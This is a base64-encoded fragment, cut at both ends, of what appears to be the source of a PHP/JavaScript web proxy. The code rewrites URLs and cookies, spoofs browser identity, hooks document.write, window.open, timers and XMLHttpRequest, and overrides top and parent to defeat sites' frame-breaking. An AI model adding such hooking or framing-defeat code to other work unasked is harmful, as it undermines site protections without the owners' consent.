T09LX1JFRywiXCQxIik7CgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIp OwoJCWlmKHRoaXMuRU5DUllQVF9DT09LUyl7CgkJCWNvb2trZXk9cHJveGVuYyhjb29ra2V5KTsK CQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOwoJCX0KCQl2YXIgbmV3Y29va2llPXJlYWxob3N0 KyI8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PiIrY29va2tleSsiPSIrY29va3ZhbCsi OyAiOwoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7CgkJcmV0dXJuIG5ld2Nvb2tpZTsKCX0K CglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2giKXsKCQlpZih2YWwuc3Vic3RyKDAs MSk9PSI/IikgdmFsPXZhbC5zdWJzdHIoMSk7CgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnko dmFsKTsKCQl2YWw9dGhpcy5jdXJyX3VybG9iai5nZXRfdXJsKCk7CgkJYXR0cj0iaHJlZiI7Cgl9 CgoJdmFyIHByb3h1cmw9dmFsOwoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIg JiYgYXR0ciE9Imhvc3RuYW1lIil7CgkJcHJveHVybD10aGlzLnN1cnJvZ2FmeV91cmwodmFsKTsK CgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJh eVs1XQoJCWlmKG9iai50YWdOYW1lPT0iQSIgfHwgb2JqLnRhZ05hbWU9PSJBUkVBIikKCQkJcHJv eHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhORVdfUEFHRVRZUEVfRlJB TUVfVE9QKTsgPz4pOwoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05h bWU9PSJJRlJBTUUiKQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBl Y2hvKFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7ID8+KTsKCX0KCglpZih0aGlzLlVSTF9GT1JNKXsK CQlpZigob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0iaHJlZiIpIHx8IGF0dHI9PSJsb2NhdGlvbiIp ewoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7CgkJCWlmKCF1cmxvYmou bG9ja2VkKSBwcm94dXJsPXRoaXMuYWRkX3F1ZXJ5c3R1ZmYocHJveHVybCwiPSYiKTsKCQkJdGhp cy50aGV0b3AubG9jYXRpb24uaHJlZj1wcm94dXJsOwoJCX0KCQllbHNlIG9ialthdHRyXT1wcm94 dXJsOwoJfQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsKfSwKCmdldEF0dHI6ZnVuY3Rpb24ob2Jq LGF0dHIpewoJaWYodHlwZW9mKGF0dHIpIT10eXBlb2YoIiIpKXsKCQlhdHRyPWF0dHIudG9TdHJp bmcoKTsKCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7Cgl9CgoJaWYob2JqPT1k b2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7CgkJdmFyIG9jb29raWVzPXRoaXMuZ2V0Q29va2ll QXJyKCk7CgkJdmFyIGNvb2tpZXM9IiIsb2Nvb2s7CgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNd Kik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyAp PyQvaTsKCQlmb3IodmFyIGtleSBpbiBvY29va2llcyl7CgkJCW9jb29rPW9jb29raWVzW2tleV07 CgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOwoJCQlpZihvY29vay5t YXRjaChDT09LX1JFRyk9PW51bGwpIGNvbnRpbnVlOwoJCQl2YXIgcmVhbGhvc3Q9dGhpcy5MT0NB VElPTl9IT1NUTkFNRS5yZXBsYWNlKCIvXnd3dy9pIiwiIikucmVwbGFjZSgiLiIsIl8iKTsKCQkJ dmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOwoJCQlpZihjb29raG9z dD09cmVhbGhvc3QpewoJCQkJaWYodGhpcy5FTkNSWVBUX0NPT0tTKXsKCQkJCQl2YXIgY29va2tl eT10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOwoJCQkJCXZh ciBjb29rdmFsPXRoaXMucGUucHJveGRlYyhvY29vay5yZXBsYWNlKENPT0tfUkVHLCJcJDMiKSk7 CgkJCQkJY29va2llcys9Y29va2tleSsiPSIrY29va3ZhbCsiOyAiOwoJCQkJfQoJCQkJZWxzZSBj b29raWVzKz1vY29vay5yZXBsYWNlKENPT0tfUkVHLCJcJDI9XCQzOyAiKTsKCQkJfQoJCX0KCQly ZXR1cm4gY29va2llczsKCX0KCglpZihvYmo9PW5hdmlnYXRvcil7CgkJaWYodGhpcy5VU0VSQUdF TlQ9PSItMSIgJiYgKGF0dHIhPSJwbHVnaW5zIiAmJiBhdHRyIT0ibWltZVR5cGUiKSkgcmV0dXJu IHVuZGVmaW5lZDsKCQlpZih0aGlzLlVTRVJBR0VOVD09IiIpIHJldHVybiBvYmpbYXR0cl07CgkJ dmFyIG1zaWU9dGhpcy5VU0VSQUdFTlQubWF0Y2goL21zaWUvaSk7CgkJY29uc3QgVUFfUkVHPS9e KFteXC9cKF0qKVwvPyhbXiBcKF0qKVsgXSooXCg/KFteO1wpXSopOz8oW147XCldKik7PyhbXjtc KV0qKTs/KFteO1wpXSopOz8oW147XCldKik7P1teXCldKlwpPylbIF0qKFteIFwvXSopXC8/KFte IFwvXSopLiokL2k7CgkJc3dpdGNoKGF0dHIpewoJCQljYXNlICJ1c2VyQWdlbnQiOiByZXR1cm4g dGhpcy5VU0VSQUdFTlQ7CgkJCWNhc2UgImFwcENvZGVOYW1lIjogcmV0dXJuIHRoaXMuVVNFUkFH RU5ULnJlcGxhY2UoVUFfUkVHLCJcJDEiKTsKCQkJY2FzZSAiYXBwVmVyc2lvbiI6IHJldHVybiAo bXNpZT90aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQyIFwkMyIpOnRoaXMuVVNFUkFH RU5ULnJlcGxhY2UoVUFfUkVHLCJcJDIgKFwkNDsgXCQ3KSIpKTsKCQkJY2FzZSAicGxhdGZvcm0i OgoJCQkJdmFyIHRlbXBwbGF0Zm9ybT10aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ0 Iik7CgkJCQlyZXR1cm4gKHRlbXBwbGF0Zm9ybT09ImNvbXBhdGlibGUiIHx8IHRlbXBwbGF0Zm9y bT09IldpbmRvd3MiPyJXaW4zMiI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkNiIp KTsKCQkJY2FzZSAib3NjcHUiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5U LnJlcGxhY2UoVUFfUkVHLCJcJDYiKSk7CgkJCWNhc2UgImxhbmd1YWdlIjogcmV0dXJuIChtc2ll P3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ3IikpOwoJCQljYXNl ICJhcHBOYW1lIjoKCQkJCXZhciB0ZW1wYXBwbmFtZT0obXNpZT8iTWljcm9zb2Z0IEludGVybmV0 IEV4cGxvcmVyIjp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQxIikpOwoJCQkJaWYo dGVtcGFwcG5hbWU9PSJPcGVyYSIgfHwgdGVtcGFwcG5hbWU9PSJNb3ppbGxhIikgdGVtcGFwcG5h bWU9Ik5ldHNjYXBlIjsKCQkJCXJldHVybiB0ZW1wYXBwbmFtZTsKCQkJY2FzZSAicHJvZHVjdCI6 IHJldHVybiAobXNpZT91bmRlZmluZWQ6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwk OSIpKTsKCQkJY2FzZSAicHJvZHVjdFN1YiI6IHJldHVybiAobXNpZT91bmRlZmluZWQ6dGhpcy5V U0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMTAiKSk7CgkJCWNhc2UgInBsdWdpbnMiOiByZXR1 cm4gKDw/cGhwIGVjaG8oKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3Rz J10pPycxJzonMCcpKTsgPz49PTE/bmF2aWdhdG9yLnBsdWdpbnM6dW5kZWZpbmVkKTsKCQkJY2Fz ZSAibWltZVR5cGUiOiByZXR1cm4gbmF2aWdhdG9yLm1pbWVUeXBlOwoJCQlkZWZhdWx0OiByZXR1 cm4gdW5kZWZpbmVkOwoJCX0KCX0KCglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2gi KSB1cmw9bG9jYXRpb24uaHJlZjsKCWVsc2UgdXJsPW9ialthdHRyXTsKCXVybD10aGlzLmRlX3N1 cnJvZ2FmeV91cmwodXJsKTsKCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09InNlYXJjaCIpIHVy bD11cmwucmVwbGFjZSgvXlteP10qLywiIik7CglyZXR1cm4gdXJsOwp9LAoKZXZlbnRpZnk6ZnVu Y3Rpb24oYTEsYTIpewoJZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImhlYWQiKVswXS5h ZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpezw/cGhwIGVjaG8oQ09PS19QUkVGKTsg Pz4uc2V0UGFyZW50U3R1ZmYoYTEsYTIpO30sZmFsc2UpOwoJd2luZG93LmFkZEV2ZW50TGlzdGVu ZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRT dHVmZihhMSxhMik7fSxmYWxzZSk7Cgl0aGlzLnNldFBhcmVudFVSTCh0aGlzLkNVUlJfVVJMKTsK fSwKCnNldFBhcmVudFVSTDpmdW5jdGlvbih1cmwpewoJaWYodGhpcy50aGV0b3AhPW51bGwgJiYg dGhpcy50aGV0b3AhPXdpbmRvdyl7CgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5 SWQoJ3VybCcpLnZhbHVlPXVybDsKCQl0aGlzLnRoZXRvcC5kb2N1bWVudC5nZXRFbGVtZW50QnlJ ZCgncHJveHlfbGluaycpLmhyZWY9dGhpcy5hZGRfcXVlcnlzdHVmZih0aGlzLnN1cnJvZ2FmeV91 cmwodXJsKSwiPS0mIik7Cgl9Cn0sCgpzZXRQYXJlbnRTdHVmZjpmdW5jdGlvbihwcm90byxzZXJ2 ZXIpeyAvLyBhbWF6aW5nIGNyZWF0aXZpdHkgd2l0aCB0aGUgbmFtZSBvbiBteSBwYXJ0Cgl2YXIg dG9wZG9jPXRoaXMudGhldG9wLmRvY3VtZW50OwoJdG9wZG9jLnRpdGxlPWRvY3VtZW50LnRpdGxl OwoKCS8vIGZpbmQgYW5kIHNldCBzaG9ydGN1dCBpY29uCgl2YXIgdG9waGVhZD10b3Bkb2MuZ2V0 RWxlbWVudHNCeVRhZ05hbWUoImhlYWQiKVswXTsKCXZhciBsaW5rcz10b3BoZWFkLmdldEVsZW1l bnRzQnlUYWdOYW1lKCJsaW5rIik7Cgl2YXIgbGluaz1udWxsOwoJZm9yKHZhciBpPTA7IGk8bGlu a3MubGVuZ3RoOyBpKyspeyBpZihsaW5rc1tpXS50eXBlPT0iaW1hZ2UveC1pY29uIiAmJiBsaW5r c1tpXS5yZWw9PSJzaG9ydGN1dCBpY29uIikgbGluaz1saW5rc1tpXTsgfQoKCWlmKHRvcGhlYWQu Z2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGg+MCkgdG9waGVhZC5yZW1vdmVDaGls ZCh0b3Bkb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKVswXSk7CgoJdmFyIGZhdmljb249 dG9wZG9jLmNyZWF0ZUVsZW1lbnQoImxpbmsiKTsKCWZhdmljb24udHlwZT0iaW1hZ2UveC1pY29u IjsKCWZhdmljb24ucmVsPSJzaG9ydGN1dCBpY29uIjsKCWZhdmljb24uaHJlZj0obGluaz09bnVs bD90aGlzLnN1cnJvZ2FmeV91cmwocHJvdG8rIjovLyIrc2VydmVyKyIvZmF2aWNvbi5pY28iKTps aW5rLmhyZWYpOwoJdG9waGVhZC5hcHBlbmRDaGlsZChmYXZpY29uKTsKfSwKClhNTEh0dHBSZXF1 ZXN0X3dyYXA6ZnVuY3Rpb24oeG1saHR0cG9iail7Cgl4bWxodHRwb2JqLjw/cGhwIGVjaG8oQ09P S19QUkVGKTsgPz5fb3Blbj14bWxodHRwb2JqLm9wZW47Cgl4bWxodHRwb2JqLm9wZW49PD9waHAg ZWNobyhDT09LX1BSRUYpOyA/Pi5YTUxIdHRwUmVxdWVzdF9vcGVuOwoJcmV0dXJuIHhtbGh0dHBv Ymo7Cn0sCgpYTUxIdHRwUmVxdWVzdF9vcGVuOmZ1bmN0aW9uKCl7CglpZihhcmd1bWVudHMubGVu Z3RoPDIpIHJldHVybjsKCWFyZ3VtZW50c1sxXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnN1 cnJvZ2FmeV91cmwoYXJndW1lbnRzWzFdKTsKCXJldHVybiB0aGlzLjw/cGhwIGVjaG8oQ09PS19Q UkVGKTsgPz5fb3Blbi5hcHBseSh0aGlzLGFyZ3VtZW50cyk7Cn0sCgovLyBXUkFQUEVEIEZVTkNU SU9OUyBBTkQgT0JKRUNUUwp0aGV0b3A6dG9wLAp0aGVwYXJlbnQ6cGFyZW50LApzZXRUaW1lb3V0 OndpbmRvdy5zZXRUaW1lb3V0LApzZXRJbnRlcnZhbDp3aW5kb3cuc2V0SW50ZXJ2YWwsCmRvY3Vt ZW50X3dyaXRlX3F1ZXVlOiIiLApwdXJnZTpmdW5jdGlvbigpewoJdGhlaHRtbD10aGlzLmRvY3Vt ZW50X3dyaXRlX3F1ZXVlOwoJaWYodGhlaHRtbD09IiIpIHJldHVybjsKCXRoZWh0bWw9dGhpcy5w YXJzZV9hbGxfaHRtbCh0aGVodG1sKTsKCXRoaXMuZG9jdW1lbnRfd3JpdGVfcXVldWU9IiI7Cgkv L2FsZXJ0KHRoZWh0bWwpOyAvLyBERUJVRwoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhDT09L X1BSRUYpOyA/Pih0aGVodG1sKTsKfSwKCnB1cmdlX25vcGFyc2U6ZnVuY3Rpb24oKXsKCXRoZWh0 bWw9dGhpcy5kb2N1bWVudF93cml0ZV9xdWV1ZTsKCWlmKHRoZWh0bWw9PSIiKSByZXR1cm47Cgl0 aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOwoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhD T09LX1BSRUYpOyA/Pih0aGVodG1sKTsKfQoKfQoKLy8gfX19CgovLyBKQVZBU0NSSVBUIEZVTkNT OiBXUkFQUElORyB7e3sKCmRvY3VtZW50LndyaXRlXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz49 ZG9jdW1lbnQud3JpdGU7CmRvY3VtZW50LndyaXRlbG5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/ Pj1kb2N1bWVudC53cml0ZWxuOwpkb2N1bWVudC53cml0ZT1mdW5jdGlvbihodG1sKXsgPD9waHAg ZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbDsgfQpkb2N1bWVu dC53cml0ZWxuPWZ1bmN0aW9uKGh0bWwpeyA8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LmRvY3Vt ZW50X3dyaXRlX3F1ZXVlKz1odG1sKyJcbiI7IH0KCndpbmRvdy5vcGVuXzw/cGhwIGVjaG8oQ09P S19QUkVGKTsgPz49d2luZG93Lm9wZW47CndpbmRvdy5vcGVuPWRvY3VtZW50Lm9wZW49ZnVuY3Rp b24oKXsKCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkgcmV0dXJuOwoJdmFyIHVybD08P3BocCBlY2hv KENPT0tfUFJFRik7ID8+LnN1cnJvZ2FmeV91cmwoYXJndW1lbnRzWzBdKTsKCWlmKCh1cmwuc3Vi c3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJz dHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11 cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsKCWFyZ3VtZW50c1swXT11cmw7CglyZXR1cm4g d2luZG93Lm9wZW5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixh cmd1bWVudHMpOwp9CgpzZXRUaW1lb3V0PWZ1bmN0aW9uKCl7CglpZihhcmd1bWVudHMubGVuZ3Ro PDIpIHJldHVybjsKCWFyZ3VtZW50c1swXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnBhcnNl X2FsbF9odG1sKGFyZ3VtZW50c1swXSwiYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Iik7CglyZXR1 cm4gPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRUaW1lb3V0LmFwcGx5KHRoaXMsYXJndW1l bnRzKTsKfQoKc2V0SW50ZXJ2YWw9ZnVuY3Rpb24oKXsKCWlmKGFyZ3VtZW50cy5sZW5ndGg8Mikg cmV0dXJuOwoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxs X2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsKCXJldHVybiA8 P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnNldEludGVydmFsLmFwcGx5KHRoaXMsYXJndW1lbnRz KTsKfQoKLyogaG9va2luZyBmb3IgZXZhbCgpLCBub3QgbmVjZXNzYXJ5IGFueW1vcmUsIGJ1dCB3 b3JrZWQgcmVsYXRpdmVseSB3ZWxsIGluIHRoZSBwYXN0Ci8qZXZhbF88P3BocCBlY2hvKENPT0tf UFJFRik7ID8+PWV2YWw7CmV2YWw9ZnVuY3Rpb24oKXsKCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkg cmV0dXJuOwoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxs X2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsKCXJldHVybiBl dmFsXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uYXBwbHkodGhpcy5jYWxsZXIsYXJndW1lbnRz KTsKfSovCgovLyB3cmFwIHRvcCBhbmQgcGFyZW50IG9iamVjdHMgZm9yIGFudGktZnJhbWUgYnJl YWtpbmcKaWYoPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5QQUdFX0ZSQU1FRCl7CglpZihwYXJl bnQ9PXRvcCkgcGFyZW50PXNlbGY7CglpZih0b3AhPXNlbGYpIHRvcD08P3BocCBlY2hvKENPT0tf UFJFRik7ID8+LnRoZXRvcC5mcmFtZXNbMF07Cn0KCi8vIH19fQoKLy88L3NjcmlwdD48P3BocCBl eGl0KCk7IH0KCiMgfX19CgojIFJFR0VYUFMge3t7CgojIFRoaXMgaXMgd2hlcmUgYWxsIHRoZSBw YXJzaW5nIGlzIGRlZmluZWQuICBJZiBhIHNpdGUgaXNuJ3QgYmVpbmcKIyBwYXJzZWQgcHJvcGVy bHksIHRoZSBwcm9ibGVtIGlzIG1vcmUgdGhhbiBsaWtlbHkgaW4gdGhpcyBzZWN0aW9uLgojIFRo ZSByZXN0IG9mIHRoZSBjb2RlIGlzIGp1c3QgdGhlcmUgdG8gc2V0IHVwIHRoaXMgd29uZGVyZnVs IGJ1bmNoCiMgb2YgaW5jb21wcmVoZW5zaWJsZSByZWd1bGFyIGV4cHJlc3Npb25zLgoKCiMgUkVH RVhQUzogQ09OVkVSU0lPTiBUTyBKQVZBU0NSSVBUIHt7ewoKZnVuY3Rpb24gYm9vbF90b19qcygk Ym9vbCl7IHJldHVybiAoJGJvb2w/J3RydWUnOidmYWxzZScpOyB9CmZ1bmN0aW9uIGNvbnZlcnRh cnJheV90b19qYXZhc2NyaXB0KCl7CglnbG9iYWwgJHJlZ2V4cF9hcnJheXM7CgkkanM9J3JlZ2V4 cF9hcnJheXM9bmV3IEFycmF5KCcuY291bnQoJHJlZ2V4cF9hcnJheXMpLiIpO1xuIjsKCXJlc2V0 KCRyZWdleHBfYXJyYXlzKTsKCXdoaWxlKGxpc3QoJGtleSwkYXJyKT1lYWNoKCRyZWdleHBfYXJy YXlzKSl7CgkJJGpzLj0icmVnZXhwX2FycmF5c1tcIiRrZXlcIl09bmV3IEFycmF5KCIuY291bnQo JGFycikuIik7XG4iOwoJCWZvcigkaT0wOyRpPGNvdW50KCRhcnIpOyRpKyspewoJCQkkanMuPSJy ZWdleHBfYXJyYXlzW1wiJGtleVwiXVskaV09bmV3IEFycmF5KCI7CgkJCWlmKCRhcnJbJGldWzBd PT0xKSAkanMuPScxLCcuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVsyXSkuJ2csIicuZXNjYXBlX3Jl Z2V4cCgkYXJyWyRpXVszXSx0cnVlKS4nIic7CgkJCWVsc2VpZigkYXJyWyRpXVswXT09MikgJGpz Lj0nMiwnLmVzY2FwZV9yZWdleHAoJGFyclskaV1bMl0pLiJnLHskYXJyWyRpXVszXX0iLihjb3Vu dCgkYXJyWyRpXSk8NT9udWxsOicsJy5ib29sX3RvX2pzKCRhcnJbJGldWzRdKSkuKGNvdW50KCRh cnJbJGldKTw2P251bGw6Iix7JGFyclskaV1bNV19Iik7CgkJCSRqcy49Iik7XG4iOwoJCX0KCX0K CXJldHVybiBzdHJpcHNsYXNoZXMoJGpzKTsKfQoKIyB9fX0KCiMgUkVHRVhQUzogVkFSSUFCTEVT IHt7ewoKZ2xvYmFsICRyZWdleHBfYXJyYXlzOwoKIyAnaW1nJyB3YXMgaW4gJGpzYXR0cnMuLi4g d2hhdCdzIHRoYXQgZm9yPwokanNhdHRycz0nKD86aHJlZnxzcmN8bG9jYXRpb258YWN0aW9ufGJh Y2tncm91bmRJbWFnZXxwbHVnaW5zcGFnZXxjb2RlYmFzZXxsb2NhdGlvblwuaHJlZnxpbm5lckhU TUwpJzsKJGpzaG9va2F0dHJzPSIoPzp7JGpzYXR0cnN9fGNvb2tpZXxzZWFyY2h8aG9zdG5hbWUp IjsKJGpzaG9va2dldGF0dHJzPSIoPzp7JGpzaG9va2F0dHJzfXx1c2VyQWdlbnR8cGxhdGZvcm18 YXBwQ29kZU5hbWV8YXBwTmFtZXxhcHBWZXJzaW9ufGxhbmd1YWdlfG9zY3B1fHByb2R1Y3R8cHJv ZHVjdFN1YnxwbHVnaW5zKSI7Ci8vJGpzaHRtbGF0dHJzPScoaW5uZXJIVE1MKSc7CiRqc21ldGhv ZHM9Jyhsb2NhdGlvblwuKD86cmVwbGFjZXxhc3NpZ24pKSc7CiRqc2xvY2hvc3Q9Jyhsb2NhdGlv blwuaG9zdCg/Om5hbWUpezAsMX0pJzsKLy8kanNsb2NzZWFyY2g9Jyhsb2NhdGlvblwuc2VhcmNo KSc7Ci8vJGpzcmVhbHBhZ2U9JygoPzooPzpkb2N1bWVudHx3aW5kb3cpXC4pezAsMX1sb2NhdGlv big/Oig/PVteXC5dKXxcLmhyZWYpfGRvY3VtZW50XC5kb2N1bWVudFVSSXxbYS16XStcLnJlZmVy cmVyKSc7CiRodG1sYXR0cnM9JyhkYXRhfGhyZWZ8c3JjfGJhY2tncm91bmR8cGx1Z2luc3BhZ2V8 Y29kZWJhc2V8YWN0aW9uKSc7CgokanVzdHNwYWNlPSJbXHQgXSoiOwokcGx1c2p1c3RzcGFjZT0i W1x0IF0rIjsKJGFueXNwYWNlPSJbXHRcclxuIF0qIjsKJHBsdXNzcGFjZT0iW1x0XHJcbiBdKyI7 CiRvcGVyYW5kcz0nW1wrXC1cL1wqXSc7CiRub3RvcGVyYW5kcz0nW15cK1wtXC9cKl0nOwoKJHF1 b3Rlc2VnPScoPzoiKD86W14iXXxbXFxcXF0iKSo/InxcJyg/OlteXCddfFtcXFxcXVwnKSo/XCcn OwokcmVnc2VnPSdcLyg/OlteXC9dfFtcXFxcXVwvKSo/XC8nOwoKLy8kanNvYmpzZWN0PSJ7JGpz dmFyc2VjdH0oPzpcKCg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVwpKT8iOwovLyRqc29i anNlY3Q9InskanN2YXJzZWN0fSg/OlwoeyRhbnlzcGFjZX0oPzp7JHF1b3Rlc2VnfXx7JGpzdmFy c2VjdH18KSkoPzp7JGFueXNwYWNlfSx7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJzZWN0 fXwpKSp7JGFueXNwYWNlfVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxd KT8iOwovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86W15cKFwpXCInXSooPzp7JHF1 b3Rlc2VnfXwoP1IpKSkpXCkpPyg/OlxbKD86W15cW1xdXCInXSooPzp7JHF1b3Rlc2VnfXwoP1Ip KSkpXF0pPyI7Ci8vJGpzdmFyb2JqPScoPzpbYS16QS1aMC05XC5fXChcKVxbXF1cK1wtXSspJzsK JGpzdmFyc2VjdD0nW2EtekEtWjAtOV9cJF0oPzpbYS16QS1aMC05XCRcLl9cL1xbXF1cKy1dKlth LXpBLVowLTlfXC9cXV0pPyc7CiRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86eyRxdW90 ZXNlZ318eyRqc3ZhcnNlY3R9fCkpXCkpPyg/OlxbKD86eyRxdW90ZXNlZ318eyRqc3ZhcnNlY3R9 fCkpXF0pPyI7CiRqc3Zhcm9iaj0ieyRqc29ianNlY3R9KD86XC57JGpzb2Jqc2VjdH0pKiI7Ci8v JGpzcXVvdGVyZWc9IigoPzooPzp7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXsk YW55c3BhY2V9XCspKil7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskanVzdHNw YWNlfSg/PVs7XH1cblxyXSkpIjsgIyBIVUg/CiRqc3F1b3Rlc2VjdD0iKD86eyRhbnlzcGFjZX17 JHF1b3Rlc2VnfXx7JGpzdmFyb2JqfSkpIjsKJGpzcXVvdGVyZWc9InskanNxdW90ZXNlY3R9KD86 XCt7JGpzcXVvdGVzZWN0fSkqIjsKCi8vJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xd XCstXSc7Ci8vJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXC9dJzsKJG5vdGpzdmFy c2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXSc7CgovLyRqc2VuZD0iKD89eyRhbnlzcGFjZX1bO1x9 XG5cclwnXCJdKSI7Ci8vJGpzZW5kPSIoPz17JGFueXNwYWNlfSg/Ols7XH1dfHskbm90b3BlcmFu ZHN9W1xuXHJdKSkiOwokanNlbmQ9Iig/PXskanVzdHNwYWNlfSg/Ols7XH1cblxyXXx7JG5vdG9w ZXJhbmRzfVtcblxyXSkpIjsKJG5vdGpzZW5kPSIoPyF7JGp1c3RzcGFjZX0oPzpbO1x9XG5ccl18 eyRub3RvcGVyYW5kc31bXG5ccl0pKSI7CiRqc2JlZ2luPSIoKD86Wztce1x9XG5cclwoXCldfFtc IT1dPSl7JGFueXNwYWNlfSkiOwovLyRqc2JlZ2lucmlnaHQ9IigoPzpbO1x7XH1cblxyXChcKT1c K1wtXC9cKl0peyRhbnlzcGFjZX0pIjsKJGpzYmVnaW5yaWdodD0iKCg/Ols7XHtcfVwoXCk9XCtc LVwvXCpdKXskanVzdHNwYWNlfSkiOwoKJGh0bWxub3F1b3Q9Jyg/OlteIlwnXFxcXF1bXj4gXSop JzsKJGh0bWxub3F1b3Rub3FtPScoPzpbXlw/IlwnXFxcXF1bXlw/PiBdKiknOwokaHRtbHJlZz0i KHskcXVvdGVzZWd9fHskaHRtbG5vcXVvdH0pKSI7CiR4bWxodHRwcmVxPSIoPzpYTUxIdHRwUmVx dWVzdHskYW55c3BhY2V9KD86XCh7JGFueXNwYWNlfVwpfCl8QWN0aXZlWE9iamVjdHskYW55c3Bh Y2V9XCh7JGFueXNwYWNlfVteXCldK1wuWE1MSFRUUFsnXCJdeyRhbnlzcGFjZX1cKSkoPz07KSI7 CiRqc25ld29iaj0iKD86eyRhbnlzcGFjZX1uZXd7JHBsdXNzcGFjZX18eyRhbnlzcGFjZX0pIjsK JGZvcm1ub3Rwb3N0PSIoPzooPyFtZXRob2R7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Oid8XCIp P3Bvc3QpW14+XSkiOwokZnJhbWV0YXJnZXRzPSdfKD86dG9wfHBhcmVudHxzZWxmKSc7CgokanNf 